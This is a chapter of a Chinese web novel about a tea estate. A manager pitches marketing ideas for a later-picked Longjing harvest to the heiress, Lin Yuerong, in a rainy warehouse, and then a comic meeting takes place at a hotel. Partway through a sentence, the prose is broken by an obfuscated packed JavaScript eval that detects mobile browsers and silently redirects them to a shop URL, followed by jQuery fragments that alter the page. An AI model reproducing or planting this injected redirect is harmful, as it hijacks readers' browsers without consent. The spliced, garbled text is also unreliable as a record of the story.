兰芳龙井的雨前茶，也就是清明后到谷雨前采摘的龙井换了另一种兰芳龙井的包装，已经分批入库了。价格虽然比明前龙井稍低，但明前的品质太过惊艳，在销售上还得下点功夫。


    再者，还有一个星期左右就要到小满了，从小满到芒种，林家茶山又要开始采三茶。


    龙井的特性就是这样，一年到头开头最好，今年是兰芳龙井面世的第一年，营销上得下大功夫，才不会让人觉得这茶的品质一直在往下走。


    孙一册为了相应的营销方案，忙完兰芳龙井的开业周之后就回了林家茶山。


    林月溶有心锻炼他，几乎所有的事情都放手给他，让他自己组团队去运营兰芳龙井。


    兰芳龙井的业务暂时稳住后孙一册就飞回了杭城。他下飞机后直奔林家茶山，到山脚时，雨正下得紧，冲进林家茶山门岗的时候，头发上的水珠都要顺着下巴往下滴。


    “孙经理？”门岗原本想拦，一看是他，赶紧开了门，还不忘揶揄他，“你是不是在燕京待久了，忘了在咱杭城得随时揣着伞或者是雨衣了？”


    “你可别提了。我这一天天的在燕京那种纸醉金迷的地方奔波，还真给忘了。”孙一册叹道，“还是咱这茶山好。只要肯干，不怕苦不怕累，好好照看咱们这茶树，就有回报。”


    “哎呦，这哪的话？要不是大小姐带着你在燕京卖茶，咱们林家茶山能这么扬眉吐气？”


    门岗一提起这个就激动地涨红了脸。


    “你可是不知道，这段时间，连我这个看门的地位都水涨船高，出门就有人叫哥。哥长哥短的。”


    “你可得给我把皮绷紧了。”孙一册严肃道，“这会儿指不定多少人等这抓咱们得小辫子，或者是琢磨咱们的渠道呢！”


    “放心！”门岗挺直了脊背，“张管事天天给我们开会！我都懂我都懂！”


    孙一册放了心，他问，“大小姐上山了吗？”


    “那会儿就上去了，我给你拿雨伞雨衣，你赶紧上去吧！”


    孙一册穿了雨衣撑了雨伞，快步朝山上走去。


    雨气混着雾气从山里漫上来，先是淹了山脚的茶园，再一点点往上攀，最后连半山腰的茶垅也看不见了。他站在晾青场的竹廊下，看着白茫茫一片，心想这倒像他这几天的状态——想法很多，方向也有，可就是隔着一层，落不到实处。


    林月溶没在半山腰的小别墅里，而是在仓库腹地。


    雨前茶的箱子已经码了不少，空气里是茶叶受潮后收紧的气息。当然，不算无可救药的湿，但能闻出来。雨天好像让这些箱子比平时更谨慎了，都收紧了自己。


    林月溶蹲在靠窗的那排箱子前头，手里拿着一个账本，正在记录什么。


    窗户开着一条缝，雨声从那里漏进来。窗外的风突然改了方向，落进仓库的青砖上，洇成了一小片深色。


    她起身关了窗户。


    孙一册这时候也进来了，她抬眼看过去，提醒道：“先擦擦。”


    孙一册这才发现自己鞋上沾了水。他从裤兜里摸出纸巾，抽一张胡乱抹了两把，剩下的又塞了回去。


    仓库里是没有垃圾桶的。


    “大小姐。”他走过去，直奔主题，“营销方案我已经理出来了。”


    “嗯。”


    林月溶还在账本上记录着什么，孙一册没再说话，等着她写完。


    雨声突然大了。


    直到林月把账本合上，抬起头，孙一册才重新开口。


    “雨前这批货，”他拿出一个牛皮纸文件夹，翻到第一页后递给她，“我是这么想的。”


    林月溶接过那页纸。


    雨光从窗户透进来，纸面很暗，字迹潦草，但每个标题都画了圈。


    “不打明前的牌。”孙一册解释着，“明前咱们打的是稀缺、惊艳、头采。雨前再打这个就输了。我这段时间走访过一些老茶楼，总结了一些数据，雨前龙井的复购率其实比明前要高——价格下来一块，滋味上去一块，适合日常喝。清明后到谷雨前，这十五天的茶，正好赶上几场春雨，茶叶真正喝饱了水，香气比明前沉稳，滋味更足，耐泡度也高，内涵物质也更全。明前和雨前放一起泡，不能比香气的高低，比第三泡、第四泡之后的余韵。”


    林月溶没抬头，眼神在纸上移动。


    “首先得换了包装。毕竟茶的品质不一样，但我想着每盒里放张卡片，正面写真实采摘时间，清明后谷雨前，背面写一句广告词。相比于明前，这批雨前，像同一部戏演到中场，灯光没那么亮了，但要找一句台词都往顾客的心里砸。但台词还没想好……台词就是广告词，广告词是为了让人喝茶的时候有特定的意境，但我想了很多，都有些矫情……”


    在林月溶看来，孙一册的话很中肯，她翻到第二页。


    “三茶那边。”孙一册凑过去一点，指着纸上的几行字，“还有一个星期小满，从小满到芒种，采的第三拨茶，还得单独起个系列名。这批茶量最大，也最容易被人觉得是‘往下走’的。我的想叫它‘夏启’。”


    “夏天的夏，开启的启？”


    “对。夏茶有夏茶的好，日照长，茶多酚含量高，滋味浓烈，适合做冷泡，也适合老茶客存起来当口粮。”


    孙一册的语速加快，“我打算在小满那天，开始宣传‘夏启’的预订，在中庭搞一个主题叫‘茶也有下半场’——上半场看鲜，下半场看烈。”


    林月溶想了想，只道，“孙一册……你这方案，听上去不像在卖茶。”


    顿了顿，她补了一句，“像在卖人生。”


    孙一册没敢接话。


    不得不说，孙一册还是有讲故事的能力的。


    林月溶看着仓库里的雨前龙井，又返回去问他：“这批雨前，你自己喝过没有？喝透没有？”


    孙一册点头：“喝过。连着喝了三天。”


    “喝出什么了？”


    雨声忽然大了一阵，像是有人在屋顶上撒了把豆子。


    孙一册等那阵过去，才开口。


    “没……喝得越多，就越找不到不矫情的台词。我之前想过一句——‘错过第一眼的心动，别再错过长久的相守’……”


    孙一册有些不好意思的摸了摸鼻子。


    “是不是很矫情……”


    竹桌上放着一壶兰


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17187987|185204||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    芳龙井，早凉透了。


    林月溶走过去坐下，又把凉掉的茶倒进旁边的茶洗里，重新烫杯、投茶、注水。


    动作很慢，慢到孙一册不得不也跟着静下来，重新整理了自己的思路。


    “但我们还可以在卡片上直接写清楚，这是雨前茶，清明后谷雨前采的，跟明前不是同一批。但我们要解释为什么它值得买——耐泡、味醇、性价比高。给明前那批没抢到的客人一个交代，也给喝完了明前想续上的客人一个台阶。”


    孙一册越说越自信。


    玻璃壶里的叶片慢慢舒展。


    林月溶点点头，又道：“三茶的系列名，‘夏启’不好。”


    孙一册问：“那您觉得……”


    “叫‘半夏’。半山腰的半，夏天的夏。既不是开头，也不是结尾，正是最熬人的时候。”她说，“你可以想想‘口粮茶’这个概念，受众可能会更广。”


    “口粮茶？”


    孙一册眼前一亮，这个概念很新鲜。


    “晚上有饭局，我得下山了，你自己再好好想想。”


    她走了之后，孙一册一个人在仓库里站着，站了很久，他才上前打开一箱雨前茶，抽出一盒，拆了封，捏一小撮放到手心里看。


    芽叶相比头采要老一些，叶片大一圈，颜色也深些，边沿微微卷起。


    孙一册凑近了闻，香气确实沉，不像明前那样往鼻子一等，等它自己漫上来。他把茶叶放回去，把盒子重新封好。然后又拆了另一箱，抽出一盒，再拆、再看、再闻。


    库房里安静得很，只有他一个人拆包装的窸窣声。


    林月溶回到月明山庄的时候，雨已经停有一会儿了。阳光懵懂，但短时间应该不会再下雨了。


    湿滑的路面渐渐干燥，林月溶决定自己开车去杭城大酒店。


    思来想去，她选了红色的法拉利，穿了一身黑色的比较干练的连衣裙，又用红色平底鞋红色包包和红色的发箍压住了身上的班味儿。


    她现在的身份不同往日，穿什么都改变不了她能轻松拿捏这些茶山主的事实。


    杭城大酒店，林丛卓一身亮片西装，黑色墨镜，外加打了发蜡的头发，带着一众精挑细选的小弟等在了门廊，引得过往的人频频侧目。


    他来得太早了，等了很久。


    红色法拉利停到门廊的时候，他没想到是林月溶，努力用鼻孔去看，腹诽着：“有什么了不起，小爷又不是买不起，只不过零花钱不够罢了！”


    人下车后，他摘了磨镜，好半天才确定是林月溶。


    更爱了，她的风格怎么能这么多变？


    林丛卓上前，一紧张，大声喊了一句，“林小姐，我等你很久了。我是咱们西子湖第一茶少——林丛卓。祝你除夕快乐，新年快乐！”


    身后的一众小弟愣了好一会儿，才齐声道：“祝林小姐除夕快乐，新年快乐！”


    管他呢！少爷说什么就跟着说什么吧！


    ？除夕快乐？


    ？新年快乐？


    ？第一叉烧？


    林月溶不解，但还是礼貌道：“叉烧，也祝你除夕快乐，新年快乐！”